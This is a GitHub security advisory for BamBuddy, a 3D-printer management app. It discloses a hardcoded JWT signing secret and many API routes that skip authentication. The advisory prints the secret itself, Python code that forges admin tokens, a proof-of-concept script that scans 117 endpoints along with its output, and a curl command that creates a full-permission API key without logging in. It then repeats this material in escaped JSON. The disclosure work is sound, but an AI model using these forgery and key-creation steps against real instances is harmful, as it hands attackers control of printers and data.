GHSA-GC24-PX2R-5QMF
Vulnerability from github – Published: 2026-02-02 21:21 – Updated: 2026-02-06 21:38Summary
- A hardcoded secret key used for signing JWTs is checked into source code
- ManyAPI routes do not check authentication
Details
I am using the publicly available docker image at ghcr.io/maziggy/bambuddy
1. Hardcoded JWT Secret Key
https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28
Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this keyAny attacker can: 1. Forge valid JWT tokens for any user 2. Bypass authentication entirely 3. Gain full administrative access to any Bambuddy instance using the default key
Steps to Reproduce:
- Run an instance of BamBuddy
- Create admin user
- Forge and use JWT:
import jwt
import requests
token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
2. Most API Routes do not check Auth
While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
Full Script and Output
Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.
Script to test GET endpoints with forged JWT and without any auth#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.
Tests all GET endpoints to identify which are accessible without authentication.
"""
import requests
import jwt
# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"
# All GET endpoints organized by router
ENDPOINTS = {
"system": [
"/system/info",
],
"auth": [
"/auth/status",
"/auth/me",
],
"users": [
"/users",
"/users/1",
"/users/1/items-count",
],
"groups": [
"/groups",
"/groups/permissions",
"/groups/1",
],
"settings": [
"/settings",
"/settings/check-ffmpeg",
"/settings/spoolman",
"/settings/backup",
"/settings/virtual-printer/models",
"/settings/virtual-printer",
"/settings/mqtt/status",
],
"printers": [
"/printers/",
"/printers/usb-cameras",
"/printers/1",
"/printers/1/status",
"/printers/1/current-print-user",
"/printers/1/cover",
"/printers/1/files",
"/printers/1/storage",
"/printers/1/logging",
"/printers/1/slot-presets",
"/printers/1/slot-presets/1/1",
"/printers/1/print/objects",
"/printers/1/runtime-debug",
"/printers/1/camera/status",
"/printers/1/camera/test",
"/printers/1/camera/plate-detection/status",
"/printers/1/camera/plate-detection/references",
"/printers/1/kprofiles/",
"/printers/1/kprofiles/notes",
],
"archives": [
"/archives/",
"/archives/search",
"/archives/compare",
"/archives/analysis/failures",
"/archives/stats",
"/archives/tags",
"/archives/1",
"/archives/1/similar",
"/archives/1/duplicates",
"/archives/1/capabilities",
"/archives/1/gcode",
"/archives/1/plates",
"/archives/1/filament-requirements",
"/archives/1/project-page",
"/archives/1/source",
],
"filaments": [
"/filaments/",
"/filaments/1",
"/filaments/by-type/pla",
],
"cloud": [
"/cloud/status",
"/cloud/settings",
"/cloud/settings/1",
"/cloud/devices",
"/cloud/firmware-updates",
"/cloud/fields",
"/cloud/fields/print",
],
"queue": [
"/queue/",
"/queue/1",
],
"notifications": [
"/notifications/",
"/notifications/logs",
"/notifications/logs/stats",
"/notifications/1",
],
"notification_templates": [
"/notification-templates",
"/notification-templates/variables",
"/notification-templates/1",
],
"updates": [
"/updates/version",
"/updates/check",
"/updates/status",
],
"maintenance": [
"/maintenance/types",
"/maintenance/overview",
"/maintenance/summary",
"/maintenance/printers/1",
"/maintenance/items/1/history",
],
"external_links": [
"/external-links/",
"/external-links/1",
],
"projects": [
"/projects",
"/projects/templates",
"/projects/1",
"/projects/1/archives",
"/projects/1/queue",
"/projects/1/bom",
"/projects/1/timeline",
],
"library": [
"/library/folders",
"/library/folders/by-archive/1",
"/library/folders/by-project/1",
"/library/files",
"/library/stats",
"/library/folders/1",
"/library/files/1",
"/library/files/1/plates",
"/library/files/1/gcode",
"/library/files/1/filament-requirements",
],
"api_keys": [
"/api-keys/",
"/api-keys/1",
],
"webhook": [
"/webhook/printer/1/status",
"/webhook/queue",
],
"ams_history": [
"/ams-history/1/1",
],
"support": [
"/support/debug-logging",
"/support/logs",
],
"discovery": [
"/discovery/info",
"/discovery/status",
"/discovery/printers",
"/discovery/scan/status",
],
"pending_uploads": [
"/pending-uploads/",
"/pending-uploads/count",
"/pending-uploads/1",
],
"firmware": [
"/firmware/updates",
"/firmware/updates/1",
"/firmware/latest",
],
"github_backup": [
"/github-backup/config",
"/github-backup/status",
"/github-backup/logs",
],
"metrics": [
"/metrics",
],
}
def forge_token():
"""Forge a valid JWT token using the hardcoded secret."""
payload = {"sub": "admin", "exp": 9999999999}
return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")
def test_endpoint(endpoint, headers):
"""Test a single endpoint and return status."""
try:
resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
except requests.RequestException as e:
return "ERROR", str(e)[:50]
def main():
token = forge_token()
print(f"[*] Forged JWT token:\n {token}\n")
# Test with no auth, then with forged JWT
test_modes = [
("NO AUTH", {}),
("FORGED JWT", {"Authorization": f"Bearer {token}"}),
]
results = {"no_auth": [], "jwt_only": [], "both_fail": []}
print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
print("=" * 70)
for category, endpoints in ENDPOINTS.items():
print(f"\n[{category.upper()}]")
for endpoint in endpoints:
no_auth_status, _ = test_endpoint(endpoint, {})
jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"})
if no_auth_status == 200:
results["no_auth"].append(endpoint)
print(f" {endpoint}: NO AUTH REQUIRED")
elif jwt_status == 200:
results["jwt_only"].append(endpoint)
print(f" {endpoint}: JWT WORKS")
else:
results["both_fail"].append((endpoint, no_auth_status, jwt_status))
print(f" {endpoint}: {no_auth_status} / {jwt_status}")
# Summary
print("\n" + "=" * 70)
print("\n[SUMMARY]\n")
print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):")
for ep in results["no_auth"]:
print(f" - {ep}")
print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):")
for ep in results["jwt_only"]:
print(f" - {ep}")
print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):")
for ep, no_auth, jwt_auth in results["both_fail"]:
print(f" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})")
if __name__ == "__main__":
main()
Script output
[*] Forged JWT token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA
[*] Testing 117 endpoints against http://10.0.0.4:8000
======================================================================
[SYSTEM]
/system/info: NO AUTH REQUIRED
[AUTH]
/auth/status: NO AUTH REQUIRED
/auth/me: JWT WORKS
[USERS]
/users: JWT WORKS
/users/1: JWT WORKS
/users/1/items-count: JWT WORKS
[GROUPS]
/groups: JWT WORKS
/groups/permissions: JWT WORKS
/groups/1: JWT WORKS
[SETTINGS]
/settings: NO AUTH REQUIRED
/settings/check-ffmpeg: NO AUTH REQUIRED
/settings/spoolman: NO AUTH REQUIRED
/settings/backup: NO AUTH REQUIRED
/settings/virtual-printer/models: NO AUTH REQUIRED
/settings/virtual-printer: NO AUTH REQUIRED
/settings/mqtt/status: NO AUTH REQUIRED
[PRINTERS]
/printers/: JWT WORKS
/printers/usb-cameras: JWT WORKS
/printers/1: JWT WORKS
/printers/1/status: JWT WORKS
/printers/1/current-print-user: JWT WORKS
/printers/1/cover: JWT WORKS
/printers/1/files: JWT WORKS
/printers/1/storage: JWT WORKS
/printers/1/logging: JWT WORKS
/printers/1/slot-presets: JWT WORKS
/printers/1/slot-presets/1/1: JWT WORKS
/printers/1/print/objects: JWT WORKS
/printers/1/runtime-debug: JWT WORKS
/printers/1/camera/status: NO AUTH REQUIRED
/printers/1/camera/test: ERROR / ERROR
/printers/1/camera/plate-detection/status: NO AUTH REQUIRED
/printers/1/camera/plate-detection/references: NO AUTH REQUIRED
/printers/1/kprofiles/: ERROR / ERROR
/printers/1/kprofiles/notes: NO AUTH REQUIRED
[ARCHIVES]
/archives/: NO AUTH REQUIRED
/archives/search: 422 / 422
/archives/compare: 422 / 422
/archives/analysis/failures: NO AUTH REQUIRED
/archives/stats: NO AUTH REQUIRED
/archives/tags: NO AUTH REQUIRED
/archives/1: NO AUTH REQUIRED
/archives/1/similar: NO AUTH REQUIRED
/archives/1/duplicates: NO AUTH REQUIRED
/archives/1/capabilities: NO AUTH REQUIRED
/archives/1/gcode: NO AUTH REQUIRED
/archives/1/plates: NO AUTH REQUIRED
/archives/1/filament-requirements: NO AUTH REQUIRED
/archives/1/project-page: NO AUTH REQUIRED
/archives/1/source: 404 / 404
[FILAMENTS]
/filaments/: NO AUTH REQUIRED
/filaments/1: NO AUTH REQUIRED
/filaments/by-type/pla: NO AUTH REQUIRED
[CLOUD]
/cloud/status: NO AUTH REQUIRED
/cloud/settings: 401 / 401
/cloud/settings/1: 401 / 401
/cloud/devices: 401 / 401
/cloud/firmware-updates: 401 / 401
/cloud/fields: NO AUTH REQUIRED
/cloud/fields/print: NO AUTH REQUIRED
[QUEUE]
/queue/: NO AUTH REQUIRED
/queue/1: 404 / 404
[NOTIFICATIONS]
/notifications/: NO AUTH REQUIRED
/notifications/logs: NO AUTH REQUIRED
/notifications/logs/stats: NO AUTH REQUIRED
/notifications/1: 404 / 404
[NOTIFICATION_TEMPLATES]
/notification-templates: NO AUTH REQUIRED
/notification-templates/variables: NO AUTH REQUIRED
/notification-templates/1: NO AUTH REQUIRED
[UPDATES]
/updates/version: NO AUTH REQUIRED
/updates/check: NO AUTH REQUIRED
/updates/status: NO AUTH REQUIRED
[MAINTENANCE]
/maintenance/types: NO AUTH REQUIRED
/maintenance/overview: NO AUTH REQUIRED
/maintenance/summary: NO AUTH REQUIRED
/maintenance/printers/1: NO AUTH REQUIRED
/maintenance/items/1/history: NO AUTH REQUIRED
[EXTERNAL_LINKS]
/external-links/: NO AUTH REQUIRED
/external-links/1: 404 / 404
[PROJECTS]
/projects: NO AUTH REQUIRED
/projects/templates: NO AUTH REQUIRED
/projects/1: NO AUTH REQUIRED
/projects/1/archives: NO AUTH REQUIRED
/projects/1/queue: NO AUTH REQUIRED
/projects/1/bom: NO AUTH REQUIRED
/projects/1/timeline: NO AUTH REQUIRED
[LIBRARY]
/library/folders: NO AUTH REQUIRED
/library/folders/by-archive/1: NO AUTH REQUIRED
/library/folders/by-project/1: NO AUTH REQUIRED
/library/files: NO AUTH REQUIRED
/library/stats: NO AUTH REQUIRED
/library/folders/1: NO AUTH REQUIRED
/library/files/1: 404 / 404
/library/files/1/plates: 404 / 404
/library/files/1/gcode: 404 / 404
/library/files/1/filament-requirements: 404 / 404
[API_KEYS]
/api-keys/: NO AUTH REQUIRED
/api-keys/1: NO AUTH REQUIRED
[WEBHOOK]
/webhook/printer/1/status: 401 / 401
/webhook/queue: 401 / 401
[AMS_HISTORY]
/ams-history/1/1: NO AUTH REQUIRED
[SUPPORT]
/support/debug-logging: NO AUTH REQUIRED
/support/logs: NO AUTH REQUIRED
[DISCOVERY]
/discovery/info: NO AUTH REQUIRED
/discovery/status: NO AUTH REQUIRED
/discovery/printers: NO AUTH REQUIRED
/discovery/scan/status: NO AUTH REQUIRED
[PENDING_UPLOADS]
/pending-uploads/: NO AUTH REQUIRED
/pending-uploads/count: NO AUTH REQUIRED
/pending-uploads/1: 404 / 404
[FIRMWARE]
/firmware/updates: NO AUTH REQUIRED
/firmware/updates/1: NO AUTH REQUIRED
/firmware/latest: NO AUTH REQUIRED
[GITHUB_BACKUP]
/github-backup/config: NO AUTH REQUIRED
/github-backup/status: NO AUTH REQUIRED
/github-backup/logs: NO AUTH REQUIRED
[METRICS]
/metrics: 401 / 401
======================================================================
[SUMMARY]
Endpoints accessible WITHOUT authentication (77):
- /system/info
- /auth/status
- /settings
- /settings/check-ffmpeg
- /settings/spoolman
- /settings/backup
- /settings/virtual-printer/models
- /settings/virtual-printer
- /settings/mqtt/status
- /printers/1/camera/status
- /printers/1/camera/plate-detection/status
- /printers/1/camera/plate-detection/references
- /printers/1/kprofiles/notes
- /archives/
- /archives/analysis/failures
- /archives/stats
- /archives/tags
- /archives/1
- /archives/1/similar
- /archives/1/duplicates
- /archives/1/capabilities
- /archives/1/gcode
- /archives/1/plates
- /archives/1/filament-requirements
- /archives/1/project-page
- /filaments/
- /filaments/1
- /filaments/by-type/pla
- /cloud/status
- /cloud/fields
- /cloud/fields/print
- /queue/
- /notifications/
- /notifications/logs
- /notifications/logs/stats
- /notification-templates
- /notification-templates/variables
- /notification-templates/1
- /updates/version
- /updates/check
- /updates/status
- /maintenance/types
- /maintenance/overview
- /maintenance/summary
- /maintenance/printers/1
- /maintenance/items/1/history
- /external-links/
- /projects
- /projects/templates
- /projects/1
- /projects/1/archives
- /projects/1/queue
- /projects/1/bom
- /projects/1/timeline
- /library/folders
- /library/folders/by-archive/1
- /library/folders/by-project/1
- /library/files
- /library/stats
- /library/folders/1
- /api-keys/
- /api-keys/1
- /ams-history/1/1
- /support/debug-logging
- /support/logs
- /discovery/info
- /discovery/status
- /discovery/printers
- /discovery/scan/status
- /pending-uploads/
- /pending-uploads/count
- /firmware/updates
- /firmware/updates/1
- /firmware/latest
- /github-backup/config
- /github-backup/status
- /github-backup/logs
Endpoints accessible with FORGED JWT only (20):
- /auth/me
- /users
- /users/1
- /users/1/items-count
- /groups
- /groups/permissions
- /groups/1
- /printers/
- /printers/usb-cameras
- /printers/1
- /printers/1/status
- /printers/1/current-print-user
- /printers/1/cover
- /printers/1/files
- /printers/1/storage
- /printers/1/logging
- /printers/1/slot-presets
- /printers/1/slot-presets/1/1
- /printers/1/print/objects
- /printers/1/runtime-debug
Endpoints that rejected both (20):
- /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)
- /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)
- /archives/search (no_auth: 422, jwt: 422)
- /archives/compare (no_auth: 422, jwt: 422)
- /archives/1/source (no_auth: 404, jwt: 404)
- /cloud/settings (no_auth: 401, jwt: 401)
- /cloud/settings/1 (no_auth: 401, jwt: 401)
- /cloud/devices (no_auth: 401, jwt: 401)
- /cloud/firmware-updates (no_auth: 401, jwt: 401)
- /queue/1 (no_auth: 404, jwt: 404)
- /notifications/1 (no_auth: 404, jwt: 404)
- /external-links/1 (no_auth: 404, jwt: 404)
- /library/files/1 (no_auth: 404, jwt: 404)
- /library/files/1/plates (no_auth: 404, jwt: 404)
- /library/files/1/gcode (no_auth: 404, jwt: 404)
- /library/files/1/filament-requirements (no_auth: 404, jwt: 404)
- /webhook/printer/1/status (no_auth: 401, jwt: 401)
- /webhook/queue (no_auth: 401, jwt: 401)
- /pending-uploads/1 (no_auth: 404, jwt: 404)
- /metrics (no_auth: 401, jwt: 401)
While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:
curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}'
yields
{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}
Impact
BamBuddy is vulnerable to unauthorized access and control
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "bambuddy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25505"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T21:21:14Z",
"nvd_published_at": "2026-02-04T20:16:07Z",
"severity": "CRITICAL"
},
"details": "### Summary\n1. A hardcoded secret key used for signing JWTs is checked into source code\n2. ManyAPI routes do not check authentication\n\n### Details\nI am using the publicly available docker image at `ghcr.io/maziggy/bambuddy`\n#### 1. Hardcoded JWT Secret Key\nhttps://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28\n\n\u003cdetails\u003e\n\u003csummary\u003eCopying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key\u003c/summary\u003e\n\n\u003cimg width=\"1591\" height=\"937\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a\" /\u003e\n\n\u003c/details\u003e\n\nAny attacker can:\n1. Forge valid JWT tokens for any user\n2. Bypass authentication entirely\n3. Gain full administrative access to any Bambuddy instance using the default key\n\n**Steps to Reproduce:**\n\n1. Run an instance of BamBuddy\n2. Create admin user\n3. Forge and use JWT:\n```python\nimport jwt\nimport requests\n\ntoken = jwt.encode({\"sub\": \"admin\", \"exp\": 9999999999}, \"bambuddy-secret-key-change-in-production\", algorithm=\"HS256\")\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={\"Authorization\": f\"Bearer {token}\"})\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### 2. Most API Routes do not check Auth\nWhile investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints:\n```python\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={}) # Empty headers\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### Full Script and Output\n\nNote: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.\n\n\u003cdetails\u003e\n\u003csummary\u003eScript to test GET endpoints with forged JWT and without any auth\u003c/summary\u003e\n\n```python3\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)\nFor security research purposes only.\n\nTests all GET endpoints to identify which are accessible without authentication.\n\"\"\"\n\nimport requests\nimport jwt\n\n# Hardcoded secret from backend/app/core/auth.py:28\nHARDCODED_SECRET = \"bambuddy-secret-key-change-in-production\"\nTARGET = \"http://10.0.0.4:8000\"\nAPI_PREFIX = \"/api/v1\"\n\n# All GET endpoints organized by router\nENDPOINTS = {\n \"system\": [\n \"/system/info\",\n ],\n \"auth\": [\n \"/auth/status\",\n \"/auth/me\",\n ],\n \"users\": [\n \"/users\",\n \"/users/1\",\n \"/users/1/items-count\",\n ],\n \"groups\": [\n \"/groups\",\n \"/groups/permissions\",\n \"/groups/1\",\n ],\n \"settings\": [\n \"/settings\",\n \"/settings/check-ffmpeg\",\n \"/settings/spoolman\",\n \"/settings/backup\",\n \"/settings/virtual-printer/models\",\n \"/settings/virtual-printer\",\n \"/settings/mqtt/status\",\n ],\n \"printers\": [\n \"/printers/\",\n \"/printers/usb-cameras\",\n \"/printers/1\",\n \"/printers/1/status\",\n \"/printers/1/current-print-user\",\n \"/printers/1/cover\",\n \"/printers/1/files\",\n \"/printers/1/storage\",\n \"/printers/1/logging\",\n \"/printers/1/slot-presets\",\n \"/printers/1/slot-presets/1/1\",\n \"/printers/1/print/objects\",\n \"/printers/1/runtime-debug\",\n \"/printers/1/camera/status\",\n \"/printers/1/camera/test\",\n \"/printers/1/camera/plate-detection/status\",\n \"/printers/1/camera/plate-detection/references\",\n \"/printers/1/kprofiles/\",\n \"/printers/1/kprofiles/notes\",\n ],\n \"archives\": [\n \"/archives/\",\n \"/archives/search\",\n \"/archives/compare\",\n \"/archives/analysis/failures\",\n \"/archives/stats\",\n \"/archives/tags\",\n \"/archives/1\",\n \"/archives/1/similar\",\n \"/archives/1/duplicates\",\n \"/archives/1/capabilities\",\n \"/archives/1/gcode\",\n \"/archives/1/plates\",\n \"/archives/1/filament-requirements\",\n \"/archives/1/project-page\",\n \"/archives/1/source\",\n ],\n \"filaments\": [\n \"/filaments/\",\n \"/filaments/1\",\n \"/filaments/by-type/pla\",\n ],\n \"cloud\": [\n \"/cloud/status\",\n \"/cloud/settings\",\n \"/cloud/settings/1\",\n \"/cloud/devices\",\n \"/cloud/firmware-updates\",\n \"/cloud/fields\",\n \"/cloud/fields/print\",\n ],\n \"queue\": [\n \"/queue/\",\n \"/queue/1\",\n ],\n \"notifications\": [\n \"/notifications/\",\n \"/notifications/logs\",\n \"/notifications/logs/stats\",\n \"/notifications/1\",\n ],\n \"notification_templates\": [\n \"/notification-templates\",\n \"/notification-templates/variables\",\n \"/notification-templates/1\",\n ],\n \"updates\": [\n \"/updates/version\",\n \"/updates/check\",\n \"/updates/status\",\n ],\n \"maintenance\": [\n \"/maintenance/types\",\n \"/maintenance/overview\",\n \"/maintenance/summary\",\n \"/maintenance/printers/1\",\n \"/maintenance/items/1/history\",\n ],\n \"external_links\": [\n \"/external-links/\",\n \"/external-links/1\",\n ],\n \"projects\": [\n \"/projects\",\n \"/projects/templates\",\n \"/projects/1\",\n \"/projects/1/archives\",\n \"/projects/1/queue\",\n \"/projects/1/bom\",\n \"/projects/1/timeline\",\n ],\n \"library\": [\n \"/library/folders\",\n \"/library/folders/by-archive/1\",\n \"/library/folders/by-project/1\",\n \"/library/files\",\n \"/library/stats\",\n \"/library/folders/1\",\n \"/library/files/1\",\n \"/library/files/1/plates\",\n \"/library/files/1/gcode\",\n \"/library/files/1/filament-requirements\",\n ],\n \"api_keys\": [\n \"/api-keys/\",\n \"/api-keys/1\",\n ],\n \"webhook\": [\n \"/webhook/printer/1/status\",\n \"/webhook/queue\",\n ],\n \"ams_history\": [\n \"/ams-history/1/1\",\n ],\n \"support\": [\n \"/support/debug-logging\",\n \"/support/logs\",\n ],\n \"discovery\": [\n \"/discovery/info\",\n \"/discovery/status\",\n \"/discovery/printers\",\n \"/discovery/scan/status\",\n ],\n \"pending_uploads\": [\n \"/pending-uploads/\",\n \"/pending-uploads/count\",\n \"/pending-uploads/1\",\n ],\n \"firmware\": [\n \"/firmware/updates\",\n \"/firmware/updates/1\",\n \"/firmware/latest\",\n ],\n \"github_backup\": [\n \"/github-backup/config\",\n \"/github-backup/status\",\n \"/github-backup/logs\",\n ],\n \"metrics\": [\n \"/metrics\",\n ],\n}\n\n\ndef forge_token():\n \"\"\"Forge a valid JWT token using the hardcoded secret.\"\"\"\n payload = {\"sub\": \"admin\", \"exp\": 9999999999}\n return jwt.encode(payload, HARDCODED_SECRET, algorithm=\"HS256\")\n\n\ndef test_endpoint(endpoint, headers):\n \"\"\"Test a single endpoint and return status.\"\"\"\n try:\n resp = requests.get(f\"{TARGET}{API_PREFIX}{endpoint}\", headers=headers, timeout=5)\n return resp.status_code, resp.text[:100] if resp.status_code == 200 else None\n except requests.RequestException as e:\n return \"ERROR\", str(e)[:50]\n\n\ndef main():\n token = forge_token()\n print(f\"[*] Forged JWT token:\\n {token}\\n\")\n\n # Test with no auth, then with forged JWT\n test_modes = [\n (\"NO AUTH\", {}),\n (\"FORGED JWT\", {\"Authorization\": f\"Bearer {token}\"}),\n ]\n\n results = {\"no_auth\": [], \"jwt_only\": [], \"both_fail\": []}\n\n print(f\"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\\n\")\n print(\"=\" * 70)\n\n for category, endpoints in ENDPOINTS.items():\n print(f\"\\n[{category.upper()}]\")\n\n for endpoint in endpoints:\n no_auth_status, _ = test_endpoint(endpoint, {})\n jwt_status, preview = test_endpoint(endpoint, {\"Authorization\": f\"Bearer {token}\"})\n\n if no_auth_status == 200:\n results[\"no_auth\"].append(endpoint)\n print(f\" {endpoint}: NO AUTH REQUIRED\")\n elif jwt_status == 200:\n results[\"jwt_only\"].append(endpoint)\n print(f\" {endpoint}: JWT WORKS\")\n else:\n results[\"both_fail\"].append((endpoint, no_auth_status, jwt_status))\n print(f\" {endpoint}: {no_auth_status} / {jwt_status}\")\n\n # Summary\n print(\"\\n\" + \"=\" * 70)\n print(\"\\n[SUMMARY]\\n\")\n\n print(f\"Endpoints accessible WITHOUT authentication ({len(results[\u0027no_auth\u0027])}):\")\n for ep in results[\"no_auth\"]:\n print(f\" - {ep}\")\n\n print(f\"\\nEndpoints accessible with FORGED JWT only ({len(results[\u0027jwt_only\u0027])}):\")\n for ep in results[\"jwt_only\"]:\n print(f\" - {ep}\")\n\n print(f\"\\nEndpoints that rejected both ({len(results[\u0027both_fail\u0027])}):\")\n for ep, no_auth, jwt_auth in results[\"both_fail\"]:\n print(f\" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003eScript output\u003c/summary\u003e\n\n```\n[*] Forged JWT token:\n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA\n\n[*] Testing 117 endpoints against http://10.0.0.4:8000\n\n======================================================================\n\n[SYSTEM]\n /system/info: NO AUTH REQUIRED\n\n[AUTH]\n /auth/status: NO AUTH REQUIRED\n /auth/me: JWT WORKS\n\n[USERS]\n /users: JWT WORKS\n /users/1: JWT WORKS\n /users/1/items-count: JWT WORKS\n\n[GROUPS]\n /groups: JWT WORKS\n /groups/permissions: JWT WORKS\n /groups/1: JWT WORKS\n\n[SETTINGS]\n /settings: NO AUTH REQUIRED\n /settings/check-ffmpeg: NO AUTH REQUIRED\n /settings/spoolman: NO AUTH REQUIRED\n /settings/backup: NO AUTH REQUIRED\n /settings/virtual-printer/models: NO AUTH REQUIRED\n /settings/virtual-printer: NO AUTH REQUIRED\n /settings/mqtt/status: NO AUTH REQUIRED\n\n[PRINTERS]\n /printers/: JWT WORKS\n /printers/usb-cameras: JWT WORKS\n /printers/1: JWT WORKS\n /printers/1/status: JWT WORKS\n /printers/1/current-print-user: JWT WORKS\n /printers/1/cover: JWT WORKS\n /printers/1/files: JWT WORKS\n /printers/1/storage: JWT WORKS\n /printers/1/logging: JWT WORKS\n /printers/1/slot-presets: JWT WORKS\n /printers/1/slot-presets/1/1: JWT WORKS\n /printers/1/print/objects: JWT WORKS\n /printers/1/runtime-debug: JWT WORKS\n /printers/1/camera/status: NO AUTH REQUIRED\n /printers/1/camera/test: ERROR / ERROR\n /printers/1/camera/plate-detection/status: NO AUTH REQUIRED\n /printers/1/camera/plate-detection/references: NO AUTH REQUIRED\n /printers/1/kprofiles/: ERROR / ERROR\n /printers/1/kprofiles/notes: NO AUTH REQUIRED\n\n[ARCHIVES]\n /archives/: NO AUTH REQUIRED\n /archives/search: 422 / 422\n /archives/compare: 422 / 422\n /archives/analysis/failures: NO AUTH REQUIRED\n /archives/stats: NO AUTH REQUIRED\n /archives/tags: NO AUTH REQUIRED\n /archives/1: NO AUTH REQUIRED\n /archives/1/similar: NO AUTH REQUIRED\n /archives/1/duplicates: NO AUTH REQUIRED\n /archives/1/capabilities: NO AUTH REQUIRED\n /archives/1/gcode: NO AUTH REQUIRED\n /archives/1/plates: NO AUTH REQUIRED\n /archives/1/filament-requirements: NO AUTH REQUIRED\n /archives/1/project-page: NO AUTH REQUIRED\n /archives/1/source: 404 / 404\n\n[FILAMENTS]\n /filaments/: NO AUTH REQUIRED\n /filaments/1: NO AUTH REQUIRED\n /filaments/by-type/pla: NO AUTH REQUIRED\n\n[CLOUD]\n /cloud/status: NO AUTH REQUIRED\n /cloud/settings: 401 / 401\n /cloud/settings/1: 401 / 401\n /cloud/devices: 401 / 401\n /cloud/firmware-updates: 401 / 401\n /cloud/fields: NO AUTH REQUIRED\n /cloud/fields/print: NO AUTH REQUIRED\n\n[QUEUE]\n /queue/: NO AUTH REQUIRED\n /queue/1: 404 / 404\n\n[NOTIFICATIONS]\n /notifications/: NO AUTH REQUIRED\n /notifications/logs: NO AUTH REQUIRED\n /notifications/logs/stats: NO AUTH REQUIRED\n /notifications/1: 404 / 404\n\n[NOTIFICATION_TEMPLATES]\n /notification-templates: NO AUTH REQUIRED\n /notification-templates/variables: NO AUTH REQUIRED\n /notification-templates/1: NO AUTH REQUIRED\n\n[UPDATES]\n /updates/version: NO AUTH REQUIRED\n /updates/check: NO AUTH REQUIRED\n /updates/status: NO AUTH REQUIRED\n\n[MAINTENANCE]\n /maintenance/types: NO AUTH REQUIRED\n /maintenance/overview: NO AUTH REQUIRED\n /maintenance/summary: NO AUTH REQUIRED\n /maintenance/printers/1: NO AUTH REQUIRED\n /maintenance/items/1/history: NO AUTH REQUIRED\n\n[EXTERNAL_LINKS]\n /external-links/: NO AUTH REQUIRED\n /external-links/1: 404 / 404\n\n[PROJECTS]\n /projects: NO AUTH REQUIRED\n /projects/templates: NO AUTH REQUIRED\n /projects/1: 